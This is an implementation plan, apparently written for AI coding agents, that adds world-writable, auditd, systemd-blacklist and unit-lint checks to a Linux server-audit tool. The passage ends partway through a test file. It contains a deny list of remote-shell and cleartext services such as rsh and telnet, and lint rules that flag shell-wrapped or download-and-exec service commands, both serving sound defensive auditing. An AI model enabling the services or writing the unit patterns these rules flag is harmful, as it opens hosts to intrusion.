# Linux Host Hardening Extras (Phase 7e.1) Implementation Plan

> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.

**Goal:** Extend `agentsec server-audit` from the 14 existing Checks (Phase 7e shipped 4 Linux hardening Checks) to 18 by adding 4 more host-layer Checks: world-writable file scan, auditd rule audit, systemd service blacklist, systemd unit-file lint. Each Check is profile-gated to `linux` / `linux_user_mode`, reads its own section of the shared `linux_hardening_baseline.yaml`, and emits one Finding per individual violation.

**Architecture:** Mirrors Phase 7e exactly — subclass `Check`, declare class-level `id`, set `_REQUIRED_PATHS = ()` (OS-level, no OpenClaw paths), implement `async run(ctx) -> list[Finding]`. SSH commands route through `CommandPolicy.validate(argv)`; new policy entries land in lockstep with each Check. The shared baseline YAML at `src/agentsec/audit/checks/linux_hardening_baseline.yaml` gains 3 new top-level sections (`world_writable` / `auditd` / `systemd`); the systemd two Checks share the `systemd` parent key. Threat-Intel stubs land in `src/agentsec/audit/ioc/threat_intel.yaml` so the strict-TI community-suite check stays green. Findings use raw `Finding(check=self.id, ...)` constructor to match the Phase 7e siblings (orchestrator-side redaction; see ADR-0008).

**Tech Stack:** Python 3.12, pytest, Pydantic v2, pyyaml, ruff, pyright (existing repo conventions). No new runtime dependencies.

---

## Out of scope for 7e.1

- Firewall (iptables / nftables / ufw) — defers to 7e.2; three backends each with different argv and parser, ≈ 7e total work.
- `linux_hardening.yaml` operator-side override interface — not yet justified.
- `auditctl --raw` / `aureport` / event-stream analysis — event-driven detection, different surface.
- macOS host hardening — different security model, separate phase.

---

## File structure

| File | Status | Responsibility |
|------|--------|----------------|
| `docs/adr/0009-linux-host-hardening-extras.md` | Create | Decision record: 7e.1 scope choice (3 of 4 deferred items), regex boundary, auditd-not-installed detection, TI ID sharing for systemd. |
| `src/agentsec/audit/checks/linux_hardening_baseline.yaml` | Modify | Append 3 top-level sections: `world_writable`, `auditd`, `systemd` (with sub-keys `service_blacklist` and `unit_lint`). |
| `src/agentsec/audit/checks/world_writable.py` | Create | `WorldWritableCheck` — `find <path> -maxdepth 4 -type f -perm /002` over 7 paths. |
| `src/agentsec/audit/checks/auditd_rules.py` | Create | `AuditdRulesCheck` — `auditctl -s` (status / not-installed detection) + `auditctl -l` (rule list, stable-substring match against 8 baseline rules). |
| `src/agentsec/audit/checks/systemd_service_blacklist.py` | Create | `SystemdServiceBlacklistCheck` — `systemctl list-unit-files --type=service --state=enabled --no-legend --plain`. |
| `src/agentsec/audit/checks/systemd_unit_lint.py` | Create | `SystemdUnitLintCheck` — `find /etc/systemd/system -maxdepth 1 -name '*.service' -type f`, then `cat` each, three regex rules over `[Service]` section. |
| `src/agentsec/audit/ssh_policy.yaml` | Modify | Add 5 `allowed_paths` prefixes (4 cron + systemd system unit dir); add `auditctl` command; add 1 `systemctl list-unit-files ...` entry. |
| `src/agentsec/audit/ioc/threat_intel.yaml` | Modify | Append 3 internal TI stubs (`TI-LINUX-CIS-WORLDWRITABLE`, `TI-LINUX-CIS-AUDITD`, `TI-LINUX-CIS-SYSTEMD`). |
| `src/agentsec/audit/ioc/cve_database.json` | Modify | Regenerated by `scripts/build_cve_db.py` (no CVE fields in new entries; trivial diff but commit needed for the CI drift guard). |
| `src/agentsec/cli.py` | Modify | Two `checks = [...]` builders (in `server_audit` and `_evaluate_server`) each append the 4 new checks. |
| `tests/test_world_writable.py` | Create | Unit tests for `WorldWritableCheck`. |
| `tests/test_auditd_rules.py` | Create | Unit tests for `AuditdRulesCheck`. |
| `tests/test_systemd_service_blacklist.py` | Create | Unit tests for `SystemdServiceBlacklistCheck`. |
| `tests/test_systemd_unit_lint.py` | Create | Unit tests for `SystemdUnitLintCheck`. |
| `tests/fixtures/linux_hardening/auditctl_l_compliant.txt` | Create | All 8 baseline match-strings present. |
| `tests/fixtures/linux_hardening/auditctl_l_partial.txt` | Create | Missing `-w /etc/sudoers` and `-S execve` (drives 2-finding case). |
| `tests/fixtures/linux_hardening/systemctl_list_unit_files.txt` | Create | ~30 lines of realistic `--no-legend --plain` enabled-services output, mixing 3 blacklist hits + ~12 benign. |
| `tests/fixtures/linux_hardening/unit_files/clean.service` | Create | Compliant unit; 0 findings. |
| `tests/fixtures/linux_hardening/unit_files/writable_execstart.service` | Create | ExecStart points to /tmp; non-root User. |
| `tests/fixtures/linux_hardening/unit_files/shellwrap.service` | Create | ExecStart wraps `/bin/sh -c`. |
| `tests/fixtures/linux_hardening/unit_files/root_writable_combo.service` | Create | ExecStart writable + User=root → upgrade to critical. |
| `tests/integration/test_openclaw_mock.py` | Modify | Mock SSH fixture stubs the 4 new commands so the orchestrator-level test still passes; new check ids appear in `not_applicable` / `skipped` table. |
| `docs/samples/report-2026-04-28/server-audit-report.md` | Modify (drift refresh) | New `<!-- check:world_writable_audit ... -->` etc. anchors land. |
| `ROADMAP.md` | Modify | Add `7e.1` entry checked. |
| `CHANGELOG.md` | Modify | `[Unreleased]` entry. |
| `README.md` | Modify | "服务端审计（14 类 Check）" line bumps to 18. |

**Total new files: 13. Total modified existing: 9.**

---

## Self-review

1. **Spec coverage**: §1 motivation → ADR Task 1; §3.1 file layout → covered by file table; §3.4 baseline structure → Task 2; §4.1–4.4 four Checks → Tasks 4, 5, 6, 7; §5 data flow → embedded in each Check task; §6 error handling → embedded in each Check's test matrix; §7 SSH policy → Task 3 (consolidated, since 5 prefixes + 2 commands span all four Checks); §8 TI extension → Task 3; §9.1 unit tests → embedded in each Check task; §9.2 fixtures → embedded; §9.3 mock + sample → Task 9; §9.4 regression gates → Task 10 final; §9.5 real-machine smoke → Task 10 (operator note, not a CI step); §10 CLI registration → Task 8; §11 docs → Task 10. No spec section unmapped.
2. **Placeholder scan**: No TBD / TODO / "fill in later" strings in the plan body.
3. **Type consistency**: Check class names (`WorldWritableCheck`, `AuditdRulesCheck`, `SystemdServiceBlacklistCheck`, `SystemdUnitLintCheck`) and ids (`world_writable_audit`, `auditd_rules_audit`, `systemd_service_blacklist`, `systemd_unit_lint`) match across plan tasks and CLI registration. Threat-Intel ids (`TI-LINUX-CIS-WORLDWRITABLE`, `TI-LINUX-CIS-AUDITD`, `TI-LINUX-CIS-SYSTEMD`) match across Task 3 and each Check task.

---

### Task 1: ADR-0009 — Linux 主机加固扩展 Check 架构

**Files:**
- Create: `docs/adr/0009-linux-host-hardening-extras.md`

- [ ] **Step 1: Write the ADR**

```markdown
# ADR-0009: Linux 主机加固扩展 Check 架构（Phase 7e.1）

**状态**: 已采纳
**日期**: 2026-05-08
**参与者**: roger
**关联**: ADR-0008（Phase 7e Linux 主机加固 4 Check 架构）

## 背景

Phase 7e 在 `agentsec server-audit` 中落地了 4 类 Linux 主机加固
Check（`sysctl_audit` / `sshd_config_audit` / `sudoers_audit` /
`suid_audit`），覆盖了内核 / sshd / sudoers / SUID 漂移四个高价值
CIS 项。7e plan 显式列出 4 项 out-of-scope，留 7e.1 跟进：

- world-writable 文件扫描
- auditd 规则审计
- firewall（iptables / nftables / ufw）
- systemd 单元枚举

## 决策

7e.1 一波覆盖前两项 + 把 systemd 拆成两条 Check（黑名单 + unit lint），
共 4 个新 Check，与 7e 同规模。firewall 留作 7e.2。

新增 4 个 Check 类，全部沿用 ADR-0008 模式：

1. **`WorldWritableCheck`（`world_writable_audit`）** —
   `find <path> -maxdepth 4 -type f -perm /002` 跑 7 条路径
   （3 条 OpenClaw 路径 + 4 条 cron 目录），每命中一个文件一条 Finding。
2. **`AuditdRulesCheck`（`auditd_rules_audit`）** —
   `auditctl -s` 探测状态（未装 → not_applicable；enabled=0 → 1 条
   high finding），`auditctl -l` 拉规则列表，按 8 条 CIS baseline
   做 stable-substring 匹配。
3. **`SystemdServiceBlacklistCheck`（`systemd_service_blacklist`）** —
   `systemctl list-unit-files --type=service --state=enabled
   --no-legend --plain`，对照 10 条高风险服务黑名单。
4. **`SystemdUnitLintCheck`（`systemd_unit_lint`）** —
   `find /etc/systemd/system -maxdepth 1 -name '*.service' -type f`
   + 每文件 cat，三类 regex（可写 ExecStart / shell-wrap / User=root
   叠加升级 critical）。

## 理由

- **范围选择**：firewall 三后端（iptables / nft / ufw）每个都需要独立
  parser + policy，工作量 ≈ 7e 总和；硬塞进 7e.1 会让单 Phase 失焦。
  systemd 拆成两条 Check 是因为「黑名单匹配」与「unit 文件 lint」
  命令面、数据来源、解析逻辑都不同，合在一个 Check 会让该文件超
  400 行，违反 ADR-0008 的"单 Check 一目的"原则。
- **regex 边界**：unit-lint 的 3 条 regex（writable_execstart /
  shellwrap_execstart / root_writable_combo）使用稳定的高信号模式，
  显式避开"Restart=always 全开 / ConditionPathExists 指向隐藏路径"
  这种各发行版误报多的字段。
- **auditd 未装判定**：用 `auditctl -s` 退出码 + stderr 字段二次区分
  「未装（127 + command not found）」与「装了但 daemon 未跑（其它
  非 0 退出码）」。前者归 `not_applicable`，后者归 `skipped`。不
  引入 `which auditctl` 多一次 SSH 往返。
- **TI ID 共享**：`SystemdServiceBlacklistCheck` 与 `SystemdUnitLintCheck`
  都引 `TI-LINUX-CIS-SYSTEMD`。两个 Check 的 finding 都属于"systemd
  侧 CIS 加固"语义，运维查表时一条 TI 行覆盖两类 finding 更连贯，
  也避免 `threat_intel.yaml` 出现"systemd_blacklist / systemd_lint"
  这种实现细节级 ID。
- **baseline 单文件不分裂**：3 个新 section（world_writable / auditd /
  systemd）继续追加到 `linux_hardening_baseline.yaml`，与 ADR-0008
  的"单文件好检索"决策一致。systemd 用 `service_blacklist` /
  `unit_lint` 两个二级 key 而非两个顶层 section，避免顶层膨胀到 9。

## 备选方案

1. **单 Check 处理 systemd（黑名单 + lint 合一）**：*放弃*：单文件
   超 400 行；测试矩阵爆炸；违反 ADR-0008 单一目的原则。
2. **firewall 也塞进 7e.1**：*放弃*：工作量 ≈ 7e 总和；单 Phase
   太大；CI / review 都不利。留作 7e.2。
3. **每条 Check 独立 baseline 文件**：*放弃*：会把
   `linux_hardening_baseline.yaml`、`linux_world_writable.yaml`、
   `linux_auditd.yaml`、`linux_systemd.yaml` 变成 5 个文件，运维
   查表困难。ADR-0008 单文件路线已验证好用。

## 后果

- 真机 server-audit 的 finding 总数会再升高 —— Lightsail prod 实跑
  预计 +5–15 finding（多数 cron 目录通常 0；auditd 未装通常进
  not_applicable；systemd 黑名单通常 0；unit-lint 取决于 OpenClaw
  自身 unit 文件是否落地，≤ 5 条）。
- `ssh_policy.yaml` 新增 5 条 allowed_paths prefix（4 cron +
  systemd system unit 目录）+ 2 类新命令（`auditctl -s` / `-l`，
  `systemctl list-unit-files ...` 一行追加到现有 systemctl
  allowed_argv）。每条都按 v1 严格 argv schema 落地，不放
  `allowed_argv` 通配。
- macOS profile 的 server-audit 会再多 4 条 `not_applicable`，
  sample drift guard 会随之刷新。
- `threat_intel.yaml` +3 条 internal TI stub；`cve_database.json`
  随脚本重生，diff 仅是结构性追加。
- 后续 7e.2（firewall）/ 7f（容器） 可以直接借这条
  baseline-YAML + CLI-register-list 模式扩展，结构成熟。
```

- [ ] **Step 2: Commit**

```bash
git add docs/adr/0009-linux-host-hardening-extras.md
git commit -m "docs(adr): 0009 — Linux host hardening extras (7e.1) architecture"
```

---

### Task 2: Linux hardening baseline YAML — append 3 sections

**Files:**
- Modify: `src/agentsec/audit/checks/linux_hardening_baseline.yaml`

- [ ] **Step 1: Append the three new sections**

Open `src/agentsec/audit/checks/linux_hardening_baseline.yaml`. After the existing `suid:` section (which ends with `expected_severity: high` … `remediation: |\n    审查每个非白名单条目…`), append:

```yaml

# ----- Phase 7e.1 additions -----

world_writable:
  # 在每个扫描根下 find -maxdepth 4 -type f -perm /002；命中一个文件一条
  # Finding。/etc/sudoers.d 已被 sudoers_audit 覆盖，不重复扫。
  scan_paths:
    - { path: "~/.openclaw",         severity: high }
    - { path: "/var/log/openclaw",   severity: high }
    - { path: "/tmp/openclaw",       severity: high }
    - { path: "/etc/cron.d",         severity: critical }
    - { path: "/etc/cron.daily",     severity: critical }
    - { path: "/etc/cron.weekly",    severity: critical }
    - { path: "/etc/cron.monthly",   severity: critical }
  rationale: 世界可写文件可被任意本地用户篡改；cron 目录命中等于本地提权点
  remediation: chmod o-w <path>；审查文件 owner 与改动历史

auditd:
  # auditctl -s 拿状态；exit 127 / command-not-found → not_applicable。
  # auditctl -l 拉规则列表，按 match 子串做稳定匹配。
  required_rules:
    - { id: watch_passwd,   match: "-w /etc/passwd",      severity: medium }
    - { id: watch_shadow,   match: "-w /etc/shadow",      severity: medium }
    - { id: watch_group,    match: "-w /etc/group",       severity: medium }
    - { id: watch_sudoers,  match: "-w /etc/sudoers",     severity: high }
    - { id: watch_sudoersd, match: "-w /etc/sudoers.d",   severity: high }
    - { id: watch_lastlog,  match: "-w /var/log/lastlog", severity: low }
    - { id: watch_utmp,     match: "-w /var/run/utmp",    severity: low }
    - { id: syscall_execve, match: "-S execve",           severity: medium }
  status_disabled_severity: high
  rationale: auditd 是 Linux 内置审计基础设施，缺规则 / 未启用 = 安全事件无法溯源
  remediation: |
    部署 /etc/audit/rules.d/*.rules 中加上对应规则（CIS-aligned 模板）；
    `systemctl enable --now auditd`；`augenrules --load` 重载。

systemd:
  service_blacklist:
    # systemctl list-unit-files --type=service --state=enabled
    # 每条命中黑名单的 enabled unit 一条 Finding。
    services:
      - { name: telnet.socket,        severity: critical, rationale: telnet 明文协议 }
      - { name: rsh.socket,           severity: critical, rationale: rsh 明文 }
      - { name: rlogin.socket,        severity: critical, rationale: rlogin 明文 }
      - { name: rexec.socket,         severity: critical, rationale: rexec 明文 }
      - { name: tftp.socket,          severity: high,     rationale: TFTP 无认证 }
      - { name: nfs-server.service,   severity: medium,   rationale: 非文件服务器不应启用 }
      - { name: rpcbind.service,      severity: medium,   rationale: portmap 暴露 RPC }
      - { name: avahi-daemon.service, severity: medium,   rationale: zeroconf 信息泄露面 }
      - { name: cups.service,         severity: low,      rationale: 非打印场景多余 }
      - { name: xinetd.service,       severity: medium,   rationale: 老超级守护进程 }
    remediation: systemctl disable --now <service>
  unit_lint:
    # /etc/systemd/system/*.service 内 [Service] 段三类 regex（regex 字面在
    # systemd_unit_lint.py 里；YAML 只放元数据）。多 rule 命中以最高 severity
    # 为准合并到一条 Finding，title 含命中 rule id 列表。
    rules:
      - { id: writable_execstart,  severity: high,     rationale: ExecStart 指向用户可写目录（/tmp/var/tmp/dev/shm/home） }
      - { id: shellwrap_execstart, severity: high,     rationale: ExecStart 走 shell 包装或 download-and-exec }
      - { id: root_writable_combo, severity: critical, rationale: User=root 叠加可写或 shell-wrap ExecStart，等于本地提权链 }
    remediation: 评估服务来源；移到不可写路径（如 /usr/local/bin/），加非 root 的 User=
```

- [ ] **Step 2: Loader smoke**

```bash
.venv/bin/python -c "
import yaml
from pathlib import Path
data = yaml.safe_load(Path('src/agentsec/audit/checks/linux_hardening_baseline.yaml').read_text())
print('top sections:', list(data.keys()))
print('world_writable scan_paths:', len(data['world_writable']['scan_paths']))
print('auditd required_rules:', len(data['auditd']['required_rules']))
print('systemd.service_blacklist.services:', len(data['systemd']['service_blacklist']['services']))
print('systemd.unit_lint.rules:', len(data['systemd']['unit_lint']['rules']))
"
```

Expected:

```
top sections: ['sysctl', 'sshd', 'sudoers', 'suid', 'world_writable', 'auditd', 'systemd']
world_writable scan_paths: 7
auditd required_rules: 8
systemd.service_blacklist.services: 10
systemd.unit_lint.rules: 3
```

- [ ] **Step 3: Commit**

```bash
git add src/agentsec/audit/checks/linux_hardening_baseline.yaml
git commit -m "feat(audit): extend linux hardening baseline with world_writable / auditd / systemd"
```

---

### Task 3: SSH policy + Threat-Intel + cve_database.json

**Files:**
- Modify: `src/agentsec/audit/ssh_policy.yaml`
- Modify: `src/agentsec/audit/ioc/threat_intel.yaml`
- Modify: `src/agentsec/audit/ioc/cve_database.json` (regenerated)

This task builds the foundation that Tasks 4–7 depend on. The Checks
themselves come next; we land their command surface + TI ids first
so each per-Check task can focus on logic + tests.

- [ ] **Step 1: Append `allowed_paths` prefixes**

In `src/agentsec/audit/ssh_policy.yaml`, find the `allowed_paths:` block at the top (around lines 4–23, ending with `- {kind: exact, path: "/opt/homebrew/bin/openclaw"}`). Append five new prefix entries:

```yaml
  - {kind: prefix, path: "/etc/cron.d/"}
  - {kind: prefix, path: "/etc/cron.daily/"}
  - {kind: prefix, path: "/etc/cron.weekly/"}
  - {kind: prefix, path: "/etc/cron.monthly/"}
  - {kind: prefix, path: "/etc/systemd/system/"}
```

Match the indentation of existing entries (2 spaces, dash, single-space, brace).

- [ ] **Step 2: Add `auditctl` command**

In the `commands:` block (around lines 38+), insert after the existing `sshd:` entry (which ends with `- ["sshd", "-T"]`):

```yaml
  auditctl:
    # auditctl -s : 状态/未装探测；-l : 规则列表。无其它形态。
    allowed_argv:
      - ["auditctl", "-s"]
      - ["auditctl", "-l"]
```

- [ ] **Step 3: Extend `systemctl` allowed_argv**

In the same file, find the existing `systemctl:` block (around lines 94–105). It currently has 9 `allowed_argv` entries (openclaw + user-mode). Append one new entry to the end of that list:

```yaml
      - ["systemctl", "list-unit-files", "--type=service", "--state=enabled",
         "--no-legend", "--plain"]
```

- [ ] **Step 4: Verify ssh_policy still loads**

```bash
.venv/bin/python -c "
import yaml
from pathlib import Path
data = yaml.safe_load(Path('src/agentsec/audit/ssh_policy.yaml').read_text())
ap = [str(x) for x in data['allowed_paths']]
print('cron prefixes:', sum('cron.' in s for s in ap))
print('systemd prefix:', sum('/etc/systemd/system/' in s for s in ap))
print('auditctl present:', 'auditctl' in data['commands'])
sysctl_argv = data['commands']['systemctl']['allowed_argv']
print('list-unit-files entry:', any('list-unit-files' in row for row in sysctl_argv))
"
```

Expected:

```
cron prefixes: 4
systemd prefix: 1
auditctl present: True
list-unit-files entry: True
```

- [ ] **Step 5: Append 3 internal TI stubs**

Open `src/agentsec/audit/ioc/threat_intel.yaml`. Append at the end of file (preserving final newline):

```yaml

- id: TI-LINUX-CIS-WORLDWRITABLE
  source: internal
  claim: 世界可写文件 — CIS Linux 加固基线
  confidence: high
  observed_at: "2026-05-08"
  url: ""
  cvss: null
  cvss_source: null
  affected_versions: ""
  fixed_in: ""
  kev: false
  mapped_tests: []
  auto_refresh: false
  note: 主机加固类静态规则；不需要外部刷新

- id: TI-LINUX-CIS-AUDITD
  source: internal
  claim: auditd 规则覆盖 — CIS Linux 加固基线
  confidence: high
  observed_at: "2026-05-08"
  url: ""
  cvss: null
  cvss_source: null
  affected_versions: ""
  fixed_in: ""
  kev: false
  mapped_tests: []
  auto_refresh: false
  note: 主机加固类静态规则；不需要外部刷新

- id: TI-LINUX-CIS-SYSTEMD
  source: internal
  claim: systemd 服务与 unit 文件加固 — CIS Linux 加固基线
  confidence: high
  observed_at: "2026-05-08"
  url: ""
  cvss: null
  cvss_source: null
  affected_versions: ""
  fixed_in: ""
  kev: false
  mapped_tests: []
  auto_refresh: false
  note: 主机加固类静态规则；不需要外部刷新
```

- [ ] **Step 6: Regenerate cve_database.json**

```bash
.venv/bin/python scripts/build_cve_db.py
```

Then verify the CI drift guard passes:

```bash
.venv/bin/python scripts/build_cve_db.py --check
```

Expected: prints "OK" or exits 0 silently.

- [ ] **Step 7: Lint + types + full suite**

```bash
.venv/bin/ruff check src/ tests/ scripts/
.venv/bin/pyright
.venv/bin/pytest tests/ -q
```

All green. (Pre-existing tests should pass even though no Check uses
the new policy entries yet — adding a new `allowed_paths` prefix
or a new `commands` entry does not break any existing call site.)

- [ ] **Step 8: Commit**

```bash
git add src/agentsec/audit/ssh_policy.yaml \
        src/agentsec/audit/ioc/threat_intel.yaml \
        src/agentsec/audit/ioc/cve_database.json
git commit -m "feat(audit): ssh_policy + threat_intel foundation for 7e.1 (cron paths, auditctl, systemctl list-unit-files, 3 TI stubs)"
```

---

### Task 4: WorldWritableCheck

**Files:**
- Create: `src/agentsec/audit/checks/world_writable.py`
- Create: `tests/test_world_writable.py`

- [ ] **Step 1: Write failing tests**

Create `tests/test_world_writable.py`:

```python
"""Unit tests for WorldWritableCheck (Phase 7e.1)."""

from __future__ import annotations

import asyncio
from pathlib import Path

from agentsec.audit.checks.base import CheckContext
from agentsec.audit.checks.world_writable import WorldWritableCheck
from agentsec.audit.platform_profile import LINUX, materialize_paths
from agentsec.audit.types import RunResult


class _RecordingExecutor:
    """Returns a per-argv canned response. Default is empty stdout, exit 0."""

    def __init__(self, responses: dict[tuple, RunResult]):
        self._responses = responses
        self.calls: list[list[str]] = []

    def run(self, argv, *, role=None):
        argv = list(argv)
        self.calls.append(argv)
        key = tuple(argv)
        if key in self._responses:
            return self._responses[key]
        return RunResult(
            stdout="", stderr="", exit_code=0,
            rejected=False, reject_reason=None, argv=argv,
            command_sha256="0" * 64, duration_ms=0.0, bytes_out=0,
        )


def _runresult(stdout="", exit_code=0, rejected=False) -> RunResult:
    return RunResult(
        stdout=stdout, stderr="", exit_code=exit_code,
        rejected=rejected, reject_reason="policy" if rejected else None,
        argv=[], command_sha256="0" * 64, duration_ms=0.0,
        bytes_out=len(stdout.encode()),
    )


def _ctx(executor, profile_name="linux"):
    profile = materialize_paths(LINUX, "/home/u")
    if profile_name != "linux":
        profile = profile.model_copy(update={"name": profile_name})
    return CheckContext(
        executor=executor, redactor=None,
        ioc_dir=Path("/tmp"), profile=profile,
        log_review_config=None,
    )


def _run(check, ctx):
    return asyncio.get_event_loop().run_until_complete(check.run(ctx))


def test_no_world_writable_files_zero_findings():
    """All 7 find calls return empty stdout → 0 findings."""
    findings = _run(WorldWritableCheck(), _ctx(_RecordingExecutor({})))
    assert findings == []


def test_cron_d_hit_emits_critical():
    """A file under /etc/cron.d hits → critical severity."""
    responses = {
        ("find", "/etc/cron.d", "-maxdepth", "4", "-type", "f", "-perm", "/002"):
            _runresult(stdout="/etc/cron.d/evil_job\n"),
    }
    findings = _run(WorldWritableCheck(), _ctx(_RecordingExecutor(responses)))
    assert len(findings) == 1
    assert findings[0].severity == "critical"
    assert "/etc/cron.d/evil_job" in findings[0].title


def test_openclaw_path_hit_emits_high():
    """Hits under ~/.openclaw or /var/log/openclaw or /tmp/openclaw → high."""
    responses = {
        ("find", "/var/log/openclaw", "-maxdepth", "4", "-type", "f", "-perm", "/002"):
            _runresult(stdout="/var/log/openclaw/audit.log\n/var/log/openclaw/data\n"),
    }
    findings = _run(WorldWritableCheck(), _ctx(_RecordingExecutor(responses)))
    assert len(findings) == 2
    assert all(f.severity == "high" for f in findings)


def test_per_path_rejection_skips_only_that_path():
    """One path rejected; others fine → no skipped, just no findings on that path."""
    responses = {
        ("find", "/etc/cron.d", "-maxdepth", "4", "-type", "f", "-perm", "/002"):
            _runresult(rejected=True),
        ("find", "/etc/cron.daily", "-maxdepth", "4", "-type", "f", "-perm", "/002"):
            _runresult(stdout="/etc/cron.daily/bad\n"),
    }
    ctx = _ctx(_RecordingExecutor(responses))
    findings = _run(WorldWritableCheck(), ctx)
    assert len(findings) == 1
    assert "/etc/cron.daily/bad" in findings[0].title
    assert ctx.status.is_skipped is False  # not all-7 failed


def test_all_seven_paths_fail_marks_skipped():
    """Every find call returns exit 1 → overall skipped."""
    paths = [
        "~/.openclaw", "/var/log/openclaw", "/tmp/openclaw",
        "/etc/cron.d", "/etc/cron.daily", "/etc/cron.weekly", "/etc/cron.monthly",
    ]
    responses = {
        ("find", p, "-maxdepth", "4", "-type", "f", "-perm", "/002"):
            _runresult(exit_code=1)
        for p in paths
    }
    ctx = _ctx(_RecordingExecutor(responses))
    findings = _run(WorldWritableCheck(), ctx)
    assert findings == []
    assert ctx.status.is_skipped


def test_skips_on_macos_profile():
    ctx = _ctx(_RecordingExecutor({}), profile_name="macos")
    findings = _run(WorldWritableCheck(), ctx)
    assert findings == []
    assert ctx.status.is_not_applicable
```

- [ ] **Step 2: Run test, verify failure**

```bash
.venv/bin/pytest tests/test_world_writable.py -x
```

Expected: `ImportError` on `agentsec.audit.checks.world_writable`.

- [ ] **Step 3: Implement the check**

Create `src/agentsec/audit/checks/world_writable.py`:

```python
"""World-writable file scan (Phase 7e.1).

Scans 7 high-signal paths (3 OpenClaw paths + 4 cron drop-in directories)
for files with world-writable bits set. Emits one Finding per hit.
"""

from __future__ import annotations

from pathlib import Path

import yaml

from ..findings import Finding
from .base import Check, CheckContext

_BASELINE_PATH = (
    Path(__file__).parent / "linux_hardening_baseline.yaml"
)


class WorldWritableCheck(Check):
    id = "world_writable_audit"

    def __init__(self):
        super().__init__()
        section = yaml.safe_load(_BASELINE_PATH.read_text())["world_writable"]
        self._scan_paths = section["scan_paths"]
        self._rationale = section["rationale"]
        self._remediation = section["remediation"]

    async def run(self, ctx: CheckContext) -> list[Finding]:
        if ctx.profile.name not in ("linux", "linux_user_mode"):
            ctx.status.not_applicable(
                f"world_writable_audit：当前 profile {ctx.profile.name!r} "
                "不是 Linux，主机加固检查跳过"
            )
            return []
        findings: list[Finding] = []
        all_failed = True
        for entry in self._scan_paths:
            path = entry["path"]
            severity = entry["severity"]
            argv = ["find", path, "-maxdepth", "4", "-type", "f", "-perm", "/002"]
            result = ctx.executor.run(argv)
            if result.rejected or result.exit_code != 0:
                continue
            all_failed = False
            for line in result.stdout.splitlines():
                hit = line.strip()
                if not hit:
                    continue
                findings.append(Finding(
                    check=self.id,
                    severity=severity,
                    title=f"world-writable: {hit}",
                    description=self._rationale,
                    evidence={"path": hit, "scan_root": path},
                    remediation=self._remediation,
                    threat_refs=["TI-LINUX-CIS-WORLDWRITABLE"],
                ))
        if all_failed and not findings:
            ctx.status.skipped(
                "world_writable_audit 全部 find 调用失败（路径不存在或权限不足）"
            )
        return findings
```

- [ ] **Step 4: Run tests, verify pass**

```bash
.venv/bin/pytest tests/test_world_writable.py -v
```

Expected: 6 passing.

- [ ] **Step 5: Lint + types + full suite**

```bash
.venv/bin/ruff check src/ tests/ scripts/
.venv/bin/pyright
.venv/bin/pytest tests/ -q
```

All green.

- [ ] **Step 6: Commit**

```bash
git add src/agentsec/audit/checks/world_writable.py tests/test_world_writable.py
git commit -m "feat(audit): add WorldWritableCheck — world-writable file scan over OpenClaw + cron paths"
```

---

### Task 5: AuditdRulesCheck

**Files:**
- Create: `src/agentsec/audit/checks/auditd_rules.py`
- Create: `tests/test_auditd_rules.py`
- Create: `tests/fixtures/linux_hardening/auditctl_l_compliant.txt`
- Create: `tests/fixtures/linux_hardening/auditctl_l_partial.txt`

- [ ] **Step 1: Create the fixture files**

Create `tests/fixtures/linux_hardening/auditctl_l_compliant.txt`:

```
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/group -p wa -k identity
-w /etc/sudoers -p wa -k scope
-w /etc/sudoers.d -p wa -k scope
-w /var/log/lastlog -p wa -k logins
-w /var/run/utmp -p wa -k session
-a always,exit -F arch=b64 -S execve -k execve
```

Create `tests/fixtures/linux_hardening/auditctl_l_partial.txt`:

```
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/group -p wa -k identity
-w /var/log/lastlog -p wa -k logins
-w /var/run/utmp -p wa -k session
```

(Missing sudoers, sudoers.d, execve.)

- [ ] **Step 2: Write failing tests**

Create `tests/test_auditd_rules.py`:

```python
"""Unit tests for AuditdRulesCheck (Phase 7e.1)."""

from __future__ import annotations

import asyncio
from pathlib import Path

from agentsec.audit.checks.auditd_rules import AuditdRulesCheck
from agentsec.audit.checks.base import CheckContext
from agentsec.audit.platform_profile import LINUX, materialize_paths
from agentsec.audit.types import RunResult

FIXTURES = Path(__file__).parent / "fixtures" / "linux_hardening"


class _RecordingExecutor:
    def __init__(self, responses: dict[tuple, RunResult]):
        self._responses = responses
        self.calls: list[list[str]] = []

    def run(self, argv, *, role=None):
        argv = list(argv)
        self.calls.append(argv)
        return self._responses.get(
            tuple(argv),
            RunResult(
                stdout="", stderr="", exit_code=0,
                rejected=False, reject_reason=None, argv=argv,
                command_sha256="0" * 64, duration_ms=0.0, bytes_out=0,
            ),
        )


def _rr(stdout="", stderr="", exit_code=0, rejected=False) -> RunResult:
    return RunResult(
        stdout=stdout, stderr=stderr, exit_code=exit_code,
        rejected=rejected, reject_reason="policy" if rejected else None,
        argv=[], command_sha256="0" * 64, duration_ms=0.0,
        bytes_out=len(stdout.encode()),
    )


def _ctx(executor, profile_name="linux"):
    profile = materialize_paths(LINUX, "/home/u")
    if profile_name != "linux":
        profile = profile.model_copy(update={"name": profile_name})
    return CheckContext(
        executor=executor, redactor=None,
        ioc_dir=Path("/tmp"), profile=profile,
        log_review_config=None,
    )


def _run(check, ctx):
    return asyncio.get_event_loop().run_until_complete(check.run(ctx))


def test_compliant_rule_set_no_findings():
    compliant = (FIXTURES / "auditctl_l_compliant.txt").read_text()
    responses = {
        ("auditctl", "-s"): _rr(stdout="enabled 1\nfailure 1\n"),
        ("auditctl", "-l"): _rr(stdout=compliant),
    }
    findings = _run(AuditdRulesCheck(), _ctx(_RecordingExecutor(responses)))
    assert findings == []


def test_partial_rules_emits_one_finding_per_missing():
    partial = (FIXTURES / "auditctl_l_partial.txt").read_text()
    responses = {
        ("auditctl", "-s"): _rr(stdout="enabled 1\nfailure 1\n"),
        ("auditctl", "-l"): _rr(stdout=partial),
    }
    findings = _run(AuditdRulesCheck(), _ctx(_RecordingExecutor(responses)))
    # Missing: watch_sudoers (high), watch_sudoersd (high), syscall_execve (medium)
    assert len(findings) == 3
    severities = sorted(f.severity for f in findings)
    assert severities == ["high", "high", "medium"]


def test_disabled_emits_high_finding_then_continues():
    """auditctl -s shows enabled=0 → 1 high finding; rules still compared."""
    compliant = (FIXTURES / "auditctl_l_compliant.txt").read_text()
    responses = {
